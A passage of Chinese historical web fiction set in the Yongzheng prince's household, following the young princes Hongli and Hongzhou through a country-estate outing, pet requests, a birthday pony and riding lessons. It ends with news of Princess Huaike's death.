“怎么这一头一脸的都是汗?”钮祜禄格格皱着眉头看着他们俩,连声吩咐,“快将他们带进去,将这身汗湿了的衣服换下来,记得换的时候用热水给他们擦身子,现在春日里天气还不大暖和,仔细生病。” “就是,”耿执羽也念叨,“特别是你弘昼,这才生了病,好了又不长记性了?” 第53章 爬树 第53章 被两位额娘一起念叨,弘历和弘昼都不敢顶嘴。倒也不是别的,只是钮祜禄格格和耿执羽都难免有一点全天下父母都有的毛病,那就是听见孩子顶嘴会多唠叨两句。 弘昼已经明白了这种时候自己应该干什么,只需要乖乖闭上嘴听两位额娘说话就行了。果不其然,念叨了一会儿她们自己便停下了,引着弘昼和弘历坐到了饭桌前。 桌上的饭菜的精致程度自然是不能和府中比的,但这些都是些就地取材的食物,甚至还有一碟子的野菜。这样的东西在雍亲王府是不能上桌的,但是在这里吃个新鲜倒是也不错。 耿执羽先给两个孩子盛了碗汤晾着,随后便开始给他们夹菜。这一桌子的菜是庄头找了庄子中手艺不错的人来做的,虽然比不得府中的大厨,但吃起来也别有一番风味。 特别是弘昼和弘历在外面疯跑了一下午,肚子早就开始鸣叫了,现在吃起饭来便格外的香。比平时还要多用了半碗饭,看得耿执羽和钮祜禄格格脸上一直带着笑意。 “看来这偶尔出来放放风倒是也不错,”耿执羽看着两个孩子风卷残云的模样笑道,“姐姐看看,寻常在府中的时候弘昼可是吃不了这么多的。虽说他自懂事后吃饭便不叫我。操心,但这个样子可是少见。” 从前耿执羽年纪还小的时候,是见到过有些小孩子在刚学会走路的时候是要家里人撵着追着喂饭的。虽说她家中没有这样的孩子,但她也是见过的。 是以在弘昼长大后,她自觉自家这个也是个乖孩子了。吃饭至少吃饭这方面一直都不怎么让她操过心,刚学会用勺子便不要嬷嬷喂到嘴边了,非得自己吃。 弘昼这是不知道额娘的想法,若是他知道的话,只会流着宽面条的泪水在心中腹诽。若不是太小的时候握不住勺子,他几乎是想要在能吃饭的时候就开始自己用饭了。 钮祜禄格格的心情也不错,轻轻笑了声:“不错,寻常弘历可没有这样的好胃口。不过今儿下午你们俩已经去疯跑了,晚上可不许偷摸溜出去,好好在屋里头睡一觉。咱们还要在庄子待好几日呢,有的是你们玩的时候。” 见弘昼和弘历乖乖应了,钮祜禄格格才满意地点了点头,转过脑袋和耿执羽开始聊天。自两个孩子被送到前院后,她们之间的感情反而更近了一步,一来是在这府中实在是没什么事做,互相在一起聊天倒是也能聊以慰藉。 二来则是两个孩子都在前院,彼此之间可以交流孩子的事情。 还没用完膳后弘昼就开始犯困了,小孩子的精力一直都是个谜。玩的时候即便在太阳下跑上半个时辰也不一定觉得累,但一旦静下来,便会察觉到体力的消失开始犯困。 钮祜禄格格正笑着和耿执羽说着这周围的农田,约着明日她们也能带了人出去瞧瞧。便看见耿执羽脸色带了点好笑,对着她比了比弘昼和弘历坐的地方。待她转过去一看,眼里瞬间便充满了笑意。 两个孩子都保持着手中拿着勺子的姿势,弘历将勺子喂到了嘴中,而弘昼的勺子则在碗中。但他们的眼睛都已经半闭,脑袋一点一点地,眼看就要睡着了。 两位额娘看着这一幕只觉好笑,这两个皮猴子,竟然还知道累。 “快醒醒,”耿执羽伸出手轻轻戳了一下弘昼有点肉的脸蛋,又轻轻揪了揪,“困了就快回去睡觉了,仔细等会儿脑袋砸下来磕到桌子上受伤了。” 弘昼睁开眼有点迷茫地看着额娘,反应了一会儿才发现自己竟然在吃饭的时候睡着了,当即有些羞赧。手肘怼了一下旁边的四哥,让他也清醒清醒。 “回去睡罢,”钮祜禄格格也笑道,“不过今儿你们兄弟俩就要一起睡了,下午收拾屋子的时候你们出去疯了,还没来得及说一声。” “知道了额娘,”弘历揉了揉眼睛,使劲眨了一下才站起来拉住了弘昼的手,“咱们去睡罢。” 郑嬷嬷和张嬷嬷跟在后头,伺候着两位小阿哥洗漱换了衣裳,见他们乖乖躺在床上才松了口气。在这里也是需要人守夜的,不过是带出来的小丫鬟守夜,像她们这样的嬷嬷年纪上去了也不会有人安排这种活给他们。 下午地玩耍耗费了光了这两兄弟的体力,即便是许久没有在一起睡觉了,但弘昼和弘历还是没有一点说话聊天的欲。望,两兄弟几乎是一躺上。床就睡过去了。 这一觉睡得极沉,弘昼是被窗外的鸟叫声叫醒的。 睁开眼睛发现窗外还是漆黑的一片,但耳边已经有鸟儿在鸣叫了,通过叫声弘昼分辨不出来是什么鸟。他还有点困意,捂着耳朵翻了个身想要继续睡。 但鸟儿的鸣叫声并未因为他的烦躁也停止,听着外面此起彼伏的声音中开始夹杂着几声公鸡打鸣,弘昼瞪着眼睛坐了起来。这庄子太过于原生态了,这鸟叫和公鸡打鸣夹杂在一起实在是扰人清梦。 弘历原本睡得好好的,也被窗外公鸡打鸣的声音吵得皱了皱眉,但他的睡眠质量显然要比弘昼好上不少。只是皱了皱眉,随即便恢复了平静,一点要醒来的意思也没有。 “阿哥?”外间守夜的小丫鬟发现了有一位阿哥坐了起来,试探性地喊了一声,“可是要喝水?” 不说水还好,一说水弘昼是真的有点渴了。他点了点头,然后才反应过来这黑暗中自己点头对方应该看不见,才开口道:“有水吗?” “有呢,外头的炉子上一直温着的。”小丫鬟很利落地应了一声,只听见外面响起了杯子中被倒入水的声音,随后就看见小丫鬟持着一盏灯走进了里间。 将灯放到了床不远处的桌子上,小丫鬟将水递到了弘昼的面前。 透过昏黄的灯光,弘昼看清了对面的这个小丫鬟。这次他的院子里跟出来的只有郑嬷嬷,其余的都是额娘院中还有福晋安排过来的人,这个小丫鬟就是额娘院中的二等侍女,看着十二三岁的样子。 接过水,仰头喝了一大口,弘昼才觉得嗓子中的干渴被缓解了。将杯子递了回去,小丫鬟接过后说了声:“如今才不过寅时,离天亮还有两个多时辰呢,阿哥再睡会儿罢。” 他们是差不多戌时接近亥时的时候睡的,也就是他才睡了三四个时辰,难怪有点没睡饱。 顾忌着还在睡觉的四哥,弘昼只是轻轻嗯了一声就继续躺回去了。此时外头的鸟鸣声终于安静了些,不知道是不是方才叫的鸟儿飞走了,闭上眼睛后没过一会儿就又进入了梦乡。 再次醒来的时候,外边的天色已经大亮了。弘昼醒来就看到自己眼前有一张大脸,吓了他一跳,几乎要惊叫出声。 随后发现这张大脸有点熟悉,弘昼无语:“四哥,一大早的你凑这么近做什么?” “看看你究竟什么时候醒啊,”弘历的语气很是理所当然,“我*都醒来两刻钟了,你还没醒,我看你要变成小猪了。” “哼,”弘昼很是傲娇地哼了一声,“我醒得比你要早,我可是寅时就醒了,不过当时还没有天亮,喝了口水就继续睡了。” 弘历怀疑的目光在弘昼的身上打转,见弘昼一点也不心虚地看着自己才收回了目光:“快些起来用早膳吧,现在都巳时了。方才有人进来说,额娘和耿额娘出去踏春了,让我们自己去用膳。” “踏春竟然不带我们。”弘昼控诉。 弘历无奈耸肩:“额娘说我们起太晚了。” “好吧。”弘昼一边嘟哝着一边从床上下来,外间候着的两位嬷嬷已经听到里头两位阿哥在聊天了,此时推门进来帮他们穿戴好了衣裳。 走出房间,弘昼才发现现在已经出太阳了。这太阳照在人的身体上暖洋洋的,不自觉心情就开始变好了,他踩着轻快的步伐走进了用膳的地方。 早膳是些清淡的粥点并着三四样的小菜,这粥熬得软烂有一股独特的米香,让弘昼一连喝了两碗。 但弘历就不大喜欢这个粥了,他更为偏好另一边的面食。 用过膳后,弘昼就被弘历拉着继续出去玩了。不知道是不是因为出来了的缘故,从前在府中的时候四哥是没有这么喜欢玩耍的,但弘昼一直私心里觉得其实是四哥在府中没有将自己顽皮的那一面表现出来。 不知道是不是自己的错觉,弘昼一直觉得四哥心中似乎是有点压力,不过他从不说出来。特别是在面对阿玛的时候,总是希望能将最好的一面表现出来,若是阿玛有天考校学问的时候问了他们还没学的,四哥若是没答出来便要心情低落好一会儿。 相比之下弘昼就没有这个压力了,没有学过的东西答不出来多正常,反正阿玛又不可能因为这件事揍他。最多就是脸上有点失望的表情,这对他没有丝毫的杀伤力。 被拉着跑出了这座青砖建成的宅子,他们的身后跟着两三个护卫,这些护卫是被安排来保护几位主子的,昨晚睡在另一处宅子。弘昼被四哥拉着,到了一棵挺拔的树下,这棵树的分支极多,看上去很是茂密。树叶密密麻麻地叠在一起,显得这个树更为雄壮了。 但弘昼在看到这棵树的第一眼,脑海中就不自觉蹦出来了一个想法。 这棵树,看上去好适合爬啊。 第54章 海东青 第54章 这个想法一出来,弘昼就有点走不动路了。发觉拉不动弟弟的弘历回过头来疑惑地看向弘昼,用眼神询问他怎么了。 “四哥,”弘昼指了指那棵树,“你看看这棵树。” 弘历扭过头来,好奇地看向了弘昼指过去的方向问道:“这棵树怎么了,是有什么不对的地方吗?” 雍亲王府中也有树,甚至于他们俩自己的院中都种了树。所以弘历上下打量了一番后,觉得这棵树看起来一点出奇的地方也不见,瞧着就是棵普普通通的树,若是一定要找出不同来,那也就是比府中的树粗壮一点,高大一点。 “你不觉得这棵树很适合爬上去吗?”弘昼的燕国地图很短,见弘历停下了后就迫不及待地暴露了自己的目的,“咱们爬上去看看吧。” 弘昼的眼光不错,这棵树最低的枝丫很粗壮,也很适合他们攀着往上爬。 听到这话,弘历脸上露出了一点惊悚的表情:“爬……爬上去?” “是啊是啊,”弘昼兴致勃勃,“俗话说得好,登高望远。咱们这要跑多久才能将这个庄子看遍?只需要爬上去,就能看好远。” “登高望远说的是爬山吧。”弘历弱弱地道。 弘昼大手一挥:“这反正是一个意思,你明白就好。” 身后的几个护卫终于追到了这两位阿哥,上前来就听到了这一句只觉得天都塌了。阿哥顽皮本是寻常事,不管他们是想要去下水摸鱼,还是去田里玩泥巴都行,但决不能爬树啊。 这里没有什么深水,只有两条浅浅的小溪。就算他们下去玩,最多也就是冻一下,绝对不会有什么生命危险。但爬树就不一定了,爬树若是手上一个使不上劲摔下来了他们这些跟着的人每一个都不会有什么好下场的。 “五阿哥不可,”这想法在领头的护卫脑中飞速闪过,连忙上前一步阻止道,“这上树实在是太危险了,若是阿哥一时不慎,掉下来了可是要吃大苦头的。咱们还是去玩些别的吧,奴才昨儿听说这庄子里有几个与您年纪相当的孩童,不若去将他们找来陪着您玩?” 和小孩子玩?弘昼提不起兴趣,和四哥还有弘暾玩也就算了,和不认识的小孩子一起玩,他的兴趣实在不大。 “不要,”弘昼仰头看着树,“你放心吧,我不会爬高的。最多就到那里就停下,这里也不高。” 说话间,弘昼指了指这棵树的中段部分。那个位置还不足二楼高,这下面还都是草地,就算摔下来问题也不大。况且他心里还是很有把握的,毕竟这棵树的枝干很多,而且底下的枝干看上去很粗壮,瞧着就算是成年人怕这棵树应该也是撑得起的,更别提他们两个孩子了。 再说四哥也不一定愿意爬,说不定就自己一个人爬呢? “可是……”护卫头领苦着脸,他和这两位阿哥见面的机会实在不多,自然不了解他们的性子。若是现在将五阿哥强行带回去了,耿格格不悦的话,到时候回府中告他一状,那他日后肯定没好日子过。 就在这犹豫间,弘昼已经活动好了自己的身体,一手抱着树缓缓往上挪了两下才够到了最低的那根粗壮的树枝。随后伸出手,拽着身体向上,攀到了树上,先是蹲着的后来缓缓站起身。 这个位置不算高,护卫紧张兮兮地盯着弘昼,连忙走了过去。 弘历抬头看着弟弟爬了上去,惊叹了一声:“哇——好高呀,我也要上去。” 说完就开始抱着树想往上爬,护卫冷汗都要吓出来了,但又不敢硬阻拦。只能不错眼地盯着这两兄弟,心中想着要是有个万一的话,希望自己能反应过来将他们接住。 弘昼也不是真的没有分寸,他大概爬到了护卫身高的位置就停了下来。这个位置就算摔下去也不会出什么问题,而且他只是想要爬上来感受一下,也不一定非要爬太高。加上他现在还是有点太小了,若是八。九岁的话倒是可以试试。 很快地,弘历也爬到了这个高度,他学着弘昼的样子小心翼翼地坐了下来。 “原来阿玛他们平时都能看这么远啊。”弘历感叹,“我以后要长得比阿玛还高就好了,那就可以看更远了。” “为什么要看更远呢?”弘昼歪过头问道。 弘历似乎是被问住了,想了好一会儿才说道:“看得远,肯定会有好处的吧,但是现在想不到。” 护卫们被逗笑,只有领头的还僵着脸盯着这两位阿哥。 在树上待了一会儿后,弘历就下来了。待一会就够了,多了也没什么意思。 午膳的时候耿执羽和钮祜禄格格回来了,甚至带上了她们亲自采摘的一筐子的野菜。这样的活动对于常年在后院待着的她们来说很是新鲜,不过现在已经快要进夏了,能吃的野菜品种不太多,她们也没采多少。 这些野菜勉强能炒出一小盘来,这菜吃起来略有点苦味,但弘昼和弘历很给面子地将这些吃完了。耿执羽看着两个小孩一点一点将盘子里的菜吃干净,眼睛里是掩饰不住的笑意。 在庄子的这几日,弘昼过得很是畅快。不仅不用跟着先生念书,每日里还能出去疯玩,甚至他还认识了几个这个庄子与自己同龄的人。虽说在不认识前,弘昼私以为自己是不会喜欢跟着小孩子一起玩的。 但在一起玩了会儿后,他发现这个话说得有点早了。和这些朋友一起上山摘果子,下水摸鱼还真挺好玩的。 可好景不长,弘昼他们不能长时间待在庄子。来这庄子的第七日,耿执羽和钮祜禄格格就命人收拾好了东西,雍亲王府派过来接人的马车已经停在庄子外面了。 走的时候,弘昼趴在车窗上看着庄子一点一点远去,心中挥舞着尔康手。下回想来庄子,说不定得明年甚至后年了,也不知道这几个小伙伴还能不能认识自己。 回到雍亲王府就过上了之前的生活,每日里听先生讲课,然后时不时被阿玛考校。 等弘昼重新适应了这个生活后,便想起了额日乐和崇光。上次见额日乐还是在过年前,本来说好的年后再去看,但年后一直没想起来。 还有那只藏獒崇光,弘昼对它其实很好奇。上次受到了些惊吓,但是看着崇光应该对自己没有什么恶意,毕竟它要是对自己有恶意的话自己不一定能活到现在。 这日散学后,弘昼拉着四哥想要先去看看额日乐,再去问问钱武能不能见见崇光。上回还是给了他些教训,他已经明白了即便是在府中身边也是不能离开人的。 弘历被弘昼拉着,心里还在想着方才先生教的东西。他不管是对海东青还是对藏獒都没什么特别的感觉,不过和弟弟一起玩还是可以的。 但等弘昼到了从前养着额日乐的院子,推门进去才发现里头什么都没有。疑惑之下找来了附近的下人问了声,才知道原来海东青和藏獒还有不远处院子里养着的猎狗都被四爷挪到京郊的庄子养着了。 “可我前几日才去了庄子啊。”弘昼脸皱了起来,“为什么没有看到?” “咱们王爷在京郊岂止一座庄子?”郑嬷嬷说道,“兴许是被放到别的庄子去了,若是阿哥喜欢这些动物,不如和王爷说一声,看能不能自己养一只?” 弘历点了点头,附和道:“不错,你喜欢的话自己养一只罢。阿玛既然送走了,一定是有自己的考量的。” “再说吧。”弘昼还是不大高兴,有点提不起兴致。养只小动物他当然能养,甚至养的种类还不只限于猫狗,但他现在还不太清楚自己究竟只是喜欢额日乐还是想要养小动物,那还是先别提了。 回到自己的院子后,弘昼无精打采地翻开了先生今日教的书。 看得弘历震惊极了,上下打量着弘昼,就差来一句你是谁,滚出我弟弟的身体了。 被四哥看得有点烦了,弘昼抬起头问道:“四哥你看什么呢?” 弘历的手抚上了弘昼的额头,摸了摸奇道:“这也没发烧啊。” “你这什么意思,”弘昼瞪大了眼睛,伤心道,“难不成我看书就是病了?” 只见弘历坚定地点了点头:“之前你只要先生不在面前都不翻开这个书,现在看了肯定是有什么不对,我要看看你是不是病了。现在既然没有病,那说不定是别的地方不对。” “好吧,”弘昼撇了撇嘴,“我只是没看到额日乐不高兴,不想去玩就把书翻出来摆着。” “方才要你自己养一只,你又不乐意。” 弘昼说道:“哎呀四哥你不懂,我过一会儿就好了。” 看着弘昼撑着脑袋发呆的样子,弘历似乎想明白了什么。对着弘昼打了个招呼之后,便回到了自己的院子。 回到自己院子后,弘历便派了人去四爷的书房问了一声,要阿玛回来的时候过来禀一声。 四爷回来的时候,天色已经擦黑了。刚换好衣服准备去西侧院,就听到了下面的人禀报,说四阿哥求见。 “弘历?”四爷有点诧异,“让他进来吧。” 弘昼和弘历都甚少前来书房找他,这让他有些好奇弘历过来是为了什么事。 “给阿玛请安。”弘历进来后先是规规矩矩地行礼,然后说道,“阿玛,可以让我养一只海东青吗?就要额日乐那样的。” 第55章 生辰 第55章 四爷露出了匪夷所思的表情:“海东青?平日里也不曾见到你对额日乐有多热衷啊。” 弘昼喜欢海东青四爷是知道的,之前额日乐还在府中养着的时候他隔三岔五就会去看。但弘历对海东青就没有那般痴迷了,只是偶尔陪着弘昼一起去,单独前去一次都不曾听说过。 弘历点了点头说道:“我想在自己院子里养一只,阿玛将额日乐挪到京郊庄子去养着了,昨日弟弟就不高兴。只要我也养一只,那弟弟就不会不高兴了。” “你知道一只海东青价值几何吗?”四爷没有答应也没有拒绝,而是提了一个问题。 弘历显然有些迷茫,摇了摇头。 别说海东青值多少了,现在将铜钱放到弘历面前他都不一定认识。 “海东青捕捉不易,”四爷声音悠悠然,“额日乐是我在去蒙古的时候买的,那时候花了三万两银子。而你们的月例,是每个月十两,你自己算算你要多久能攒够买海东青的银子。” 府中的阿哥格格都是有月例银子的,从前怀恪还在家中的时候也有,现在弘时也是每个月都领着的。 弘时现在要出门交际了,这十两银子其实是不大够的,毕竟出门不可能总是让别人做东,而他们这些富家子弟去的地方,一顿饭说不定就已经吃出十两了。是以四爷也命账房可以让弘时支银子,只要一个月不超过百两的花费,便可以不用报到他跟前来。 但弘昼和弘历的吃穿用度都在府中,每个季度都会遣绣娘来量体裁衣,其实细数下来花钱的地方实在不多。这十两银子都是郑嬷嬷他们每个月领下来,随后放在了弘昼和弘历的匣子里的,不过他们没问过,便也不知道还有这项银子。 听到阿玛的话,弘历有些茫然地伸出手想要算清楚。可现在他最多也就算个加减,还得是一百以内的才算得清楚,现在一下子听到三万这个数字就蒙了,算了半天没算出来。 看到弘历的模样,四爷好笑。就算弘历当真能拿出这么多的银子,他也是不能给他买的,这海东青堪称可遇而不可求,他上回在蒙古遇见便算运气不错了,毕竟在蒙古价格相对低些。现在在京城,想要额日乐那种品相的,至少需得五万两摆在台面上才能去寻摸。 “既然算不出,那我便告诉你,”四爷很慈悲地没有为难弘历,“你需得攒够三千个月的银子,而你从出生到现在也不过才过了五十几个月罢了。” “啊?”弘历震撼地张大了嘴巴,有点沮丧,“那不能养海东青了。” 见弘历打消了这个念头,四爷才满意点头:“不过虽不能养海东青,但你若想要,养只鹦鹉还是没什么问题的。” “鹦鹉?”弘历有点犹豫地问道,“阿玛,鹦鹉多少钱,长什么样子?” “你应当见过,你嫡额娘廊下便挂了一只,羽毛斑斓,会学人说话的那种鸟。”四爷想了想说道,“鹦鹉的话,应当七八百两银子便够了。” 弘历把脑袋摇得像拨浪鼓:“不要鹦鹉,不要鹦鹉。” 其实相对于海东青,鹦鹉更为符合弘历的审美,他偏好色彩鲜艳的东西。但鹦鹉会说话这件事在弘历的心中堪称恐怖片,他看见鸟儿嘴里吐出人说的话就害怕。 若是海东青他还能养在院子里,但变成鹦鹉的话,他只想躲远点。福晋院中养着鹦鹉,他每次去请安的时候都躲在额娘身后,或者靠着弘昼走,眼神都不敢往那边瞟一下。 “海东青是不行的,”四爷说道,“鹦鹉也不好的话,那便只有些小猫小狗之类的。” 弘历犹豫了片刻:“多谢阿玛,我回去问问弟弟吧。” 小猫小狗也不知道弟弟喜不喜欢,弘历想着,若是弟弟不喜欢的话他岂不是白养了。 四爷随意点了点头,看着弘历行礼告退,唇角一直带着笑意。直到去了西侧院,笑意也不曾落下。 “爷今日怎么这么高兴,是不是外头发生了什么好事?”年侧福晋亲手将茶奉上,坐在了四爷的身侧有些好奇地问道。 四爷将方才弘历的事情讲了一遍:“看他们兄弟之间感情好,我也就放心了。” “四阿哥竟然这样为五阿哥着想,”年侧福晋叹道,“这可真是个好哥哥,让妾身也想到了二哥,从前在家中的时候二哥也是这般待我的。每每从外面回来,总是记得我的喜好,给我带些礼物。若是咱们的……还在,说不定两位阿哥也会待妹妹这样好呢。” “你们兄妹感情好,”四爷将手中的茶盏放下,拉起了年侧福晋的手安慰道,“咱们日后还会有的,弘历和弘昼是好孩子,不论是弟弟还是妹妹一定都会疼爱有加的。” 见年侧福晋还是愁眉不展的样子,四爷转移话题:“还有一件事,你二哥是个有本事的,他在四川立了功,过个两年回京述职的时候职位说不定能往上升一升。” 这话让年侧福晋的眼睛亮了起来,她和二哥的感情很好,听见二哥的仕途顺其自然心情好。再加上她多少也明白,能一进雍亲王府便能得独宠,二哥能得用是占了不少因素的。 “二哥已经是四川巡抚了,”年侧福晋压住了嘴边的笑,谦虚道,“他这个年纪当上从二品的官已经很是光耀门楣了,也不必爷再多操心。” 年羹尧今年三十六岁,正是青春鼎盛之时。他出身汉军旗,这样的出生能在这个年纪就当上四川巡抚,本来就已经很出息了。再往上升,那就是正二品,要知道年侧福晋的父亲是在湖广巡抚这个从二品位置上致仕的,那时候年侧福晋的父亲已经五十好几了。 现在年羹尧这个年纪就已经超过了父亲,日后说不定能爬上正一品。 “这可不是我操心,”四爷说道,“汗阿玛这几日夸了你哥哥,若非他任上的事情还没办完,本就该回京述职了。不过等上两年也好,到时候功劳一积攒,说不得能谋一个总督的位置。” “总督,那岂不是从一品?”年侧福晋眼睛略微睁大,她唇角的笑意终于掩盖不住了。 四爷点了点头:“你哥哥是个有本事的人。” 见年侧福晋这掩饰不住的开心,四爷的眸色略深了些。年羹尧有本事对他来说是好事,妹妹已经进了雍亲王府就等于绑死在这条船上了。 另一边,弘历回去直接就进了弘昼的院子,弘昼现在已经缓过来了正在院中的树下荡着秋千。 这秋千还是前几日刚从庄子回来时弘昼想起来的,当时就叫了匠人过来打了一个秋千。 “四哥?”恢复元气的弘昼很大方,“你要来玩吗?” 弘历走了过去,就把那个刚才在阿玛那里的事情说了一遍,问道:“你喜欢猫还是狗,猫狗可以养在你这里,也可以养在我那里。但是如果你要养鹦鹉的话,就只能养在你院子里了,而且养了后我不会过来只能你来找我玩了。” 私心里弘历是不想弟弟养鹦鹉的,毕竟他不想日后过来找弟弟的时候还要鼓起勇气。而且他觉得,可能他是鼓不起勇气的,以后只能不来了。 “鹦鹉?”弘昼消化了一下弘历口中的话,问道,“那你更喜欢猫还是狗?” 弘昼对鹦鹉没有偏好,但也不讨厌。但四哥讨厌的话,鉴于他们住得这么近,每天要串门无数遍,他还是觉得不养比较好,毕竟他也没多喜欢。 猫和狗这两种动物,弘昼也没有特别的偏好。他更喜欢威猛一点的动物,但想想也知道阿玛答应的狗应该是京巴之类的小型犬,绝对不会同意自己也养只铁包金的藏獒。当初喜欢额日乐也是第一眼就被它捕猎的英姿吸引了,所以才会经常过去看。 弘历听出了弘昼话语的意思,眨了眨眼:“我都还行,你不喜欢猫狗吗?可是我还听你问额日乐旁边的那只藏獒了,那不就是狗?” “我喜欢藏獒,”弘昼撇了撇嘴,“但阿玛将额日乐和那只藏獒一起迁走了,肯定不会同意我再养一只的。” 弘历奇怪:“为什么?藏獒不也是狗吗?” “不知道,可能是因为藏獒也很贵吧。”弘昼随口猜测,“不提这个了,四哥你过来一起玩一会儿秋千吧。” 见弟弟似乎现在没有不高兴了,弘历也就将这件事抛之脑后了。可能弟弟刚才的伤心是和他离开庄子时的伤心一样的吧,过一会儿也就好了。 两兄弟在一起一会儿你推我一会儿我推你,院中开始点起了灯。郑嬷嬷也催着两位阿哥进屋玩了,晚上还是有些凉的,加上即便点灯了院中还是有些黑,他们就这样在外面推着秋千玩难免不放心。 额日乐和崇光被挪走这件事只让弘昼伤心了几天,他在心中幻想着等自己长大之后说不定能劝阿玛将这两只挪回来。说不定阿玛现在将他们挪走是觉得自己年纪太小了,和猛兽接触容易受伤,等长大了就没有这个顾忌了。 日子开始继续回到每日里跟着先生念书,然后被阿玛考校的正轨中。 弘历每天最大的烦恼就是要是今天阿玛考了个先生没教的问题怎么办,虽然答不上不会被罚,但阿玛的眼神怪瘆人的。 而弘昼的烦恼则是,他究竟什么时候能长到六岁,六岁就能跟着先生学一点简单的功夫了。再大些就能跟着学骑射了,他真的很想骑马试试感觉。 终于,带着这样的期待,弘昼迎来了他六岁的生辰。 第56章 怀恪 第56章 六岁的生辰和以前的生辰没什么不同,唯一不一样的就是往年送生辰礼物都是些昂贵精致东西的四爷在今年送了弘昼一匹小马驹。 这匹小马驹是红色的,鬃毛乖顺地垂在额前,整体看上去很是神俊。弘昼一见就喜欢得不得了,他摸着小马驹爱不释手。 因为四哥收到的生辰礼物就是小马驹,所以前两个月弘昼就大概猜到自己这回的生辰礼物会收到什么了,但是在看到这匹小马的第一刻他还是开心极了。围在马的边上,根据阿玛教他地轻轻抚摸着马儿的鬃毛,等马儿对他的气息熟悉后才逐渐更亲近了些。 四爷见弘昼这样子,眼底也显出了一丝笑意:“既然喜欢,那日后可要好好练习骑射,等翻过年去我便去为你们俩寻一位武师傅,到时候不论多苦多累都得坚持下来。” 六岁的孩子可以开始打基础了,虽说不能往狠了操练,但一些基本的东西可以学起来了。四爷特意寻来的小马,这样的马儿在幼年时相对温顺,让两个孩子在练习骑马的时候可以更为得心应手。 “阿玛你放心吧,”弘昼拍了拍自己的胸膛,答应得很爽快,“我一定会好好练习的。” 这个时代的医疗条件有点看命,弘昼早就将锻炼身体加入了日后的计划栏。现在阿玛要给自己专门找老师,那就更加没有不答应的道理了。 弘历也应了一声:“阿玛放心吧,孩儿们会好好练习的。” 弘历和弘昼长了两岁的,身高长了不少,但五官还是很稚嫩。弘昼脸上带着点婴儿肥,笑起来的时候脸上肉肉的让人很想捏一下。 四爷这才满意地点了点头,武艺这个东西是不能落下的。他年轻的时候和汗阿玛一起去军队,也是独自统领了一军的。满人马背上打天下,男子骑射武艺须得精通,女子也要修习一二。 现在瞧着两个孩子对这些东西并不抵触,他也高兴了些。老三文武都学得一般,这两个孩子文瞧着还不错,不知道在武方面有什么天赋。 得到小马驹后,弘昼几乎日日都要到马厩这里看看自己的小马儿,还给它取了个名字叫琥珀。因为这马儿浑身的毛呈枣红色,无端让弘昼想起了琥珀,索性就叫这个名字了。 这天天殷勤的劲儿,看得四爷好笑,索性这几日他朝堂上没什么事,便抽了一日出来准备教两个孩子骑马。 这两只小马驹到弘昼和弘历面前,已经被训好了。四爷头次给儿子们送的小马,并没有挑选极为名贵的,而是选得很是温顺的。 名贵的马儿可以等他们长大后送,现在刚学骑马首先要注意的是不要被马儿甩下来。 早晨在先生那里念完书后,弘昼和弘历就接到了下午阿玛要教他们骑马的通知。这下子不仅是弘昼,连弘历也是肉眼可见的兴奋。 现在他们偶尔跟着阿玛出门都是坐马车,要是学会骑马了日后就能自己骑着马出门了,那多威风呀。弘暾现在就已经会骑马了,上回来雍亲王府的时候还专门找弘昼和弘历炫耀了,弘昼当时面上不在意,但心里是羡慕极了。 弘昼已经在心中打算好了,等自己学会骑马,在府中练好技术能上街后,一定要去一趟十三叔的府邸。一定要去找弘暾炫耀一下,叫他看看自己的琥珀。 四爷到校场的时候,弘昼和弘历早就等在那里了。见两个孩子这般殷切地看着自己,四爷压住了嘴角的笑意,上前先是对他们讲了讲骑马的注意事项和要领。 见他们都学会翻身上马后,便叫护卫牵着马带着他们在校场上转两圈。 弘昼坐在马上,身体很是僵硬。虽然这些天他已经和琥珀混熟了,刚才上马的时候琥珀也很乖巧,但是骑在马上的感觉有点奇怪,他不自觉地就开始紧张。 旁边的弘历也好不了多少,这一个时辰的练习时间过去后,两兄弟从马上下来腿都是软的。走路的时候腿甚至在打颤,互相搀扶着走到了四爷面前。 他们这个表现在四爷的预料之中,吩咐了他们身后的嬷嬷几句,让回去沐浴后记得抹药。大腿根的位置被马鞍磨了这么久,若是不好好抹药的话,明日起来必然会很疼的。 弘昼乖乖应了,和四哥一起互相搀扶着回了院子。 他们不大愿意叫嬷嬷来扶自己,因为嬷嬷要么就是直接将他们背起来。让嬷嬷扶他们的话有点太为难嬷嬷的腰了,还不如他们互相搀扶。 即便抹了药,弘昼第二天起来的时候依旧感受到了腿上的不适。但这也没有磨灭他对于骑马的热情,下午的时候依旧准时到了校场。 今日四爷就不在了,他专门抽出一日来教这两个孩子已经很不易了。 不过阿玛在不在不要紧,弘昼和弘历来了之后很熟练地牵走了自己的马儿。翻身上马后开始尝试让马慢慢开始走动,不要侍卫们过来牵绳。 虽说这两匹马儿能送到这两位阿哥面前,那一定是性格很温顺的,但侍卫们还是眼睛一眨不眨地盯着。万一这两位出了点什么事,他们这些当值的一定没有好果子吃。 等到弘昼和弘历从马上翻身下来,侍卫们才略松了口气。 弘昼的学习骑马进程很快,在十日后他就能骑着琥珀在校场上小跑了。这时候他就发觉自家府中这个校场是真的小,琥珀小跑着一会儿就走完了全程。 这个校场建的初衷就是用来日常习武,四爷对于骑射一道并不大热衷,于是在开府的时候就并未将校场设计得太大。这样的大小对他来说足够了,若是还要往外扩的话,就要少建两个院子。 从前弘昼也不觉得这里小,但是对于骑马这项运动来说,这里的场地就不够了。于是在半个月后,弘昼开始捉摸着让阿玛同意自己去庄子待两天。 这个想法刚进入弘昼的脑海中,很快就被他否决了。如果现在是春天还好,阿玛或许会同意,但现在是冬天,阿玛同意的可能性急速降低。 这样想着,弘昼叹了口气,盼着冬天快些过去,到春天了他就能和阿玛提一提了。找个阿玛心情好的日子,同意的可能性就大大升高了。 可弘昼还没等到春天的到来,就先等到了一个噩耗。 那就是二姐姐怀恪郡主在今年得病去了。 收到这个消息的时候,弘昼将嘴巴张大了。 这个二姐姐弘昼并不是很亲近,但逢年过节的时候也会收到二姐姐送的东西。上次在中秋节的时候二姐姐还带着姐夫回来过节见了一面,那时候看上去身体还好好的,怎么突然就没了。 “这是什么时候的事?”弘昼看着郑嬷嬷问道。 郑嬷嬷说道:“听闻一入冬郡主就病了,但当时都没当一回事,毕竟郡主素来身体康健。说是请了这京中极具盛名的大夫开了药,本来已经有点好转了,但前几日突然病情恶化,今儿中午就直接走了。说是郡主走了的时候,额驸正在上朝,刚下朝就得了这个消息。” “那岂不是阿玛也是那时候得到的消息?”弘昼震惊问道。 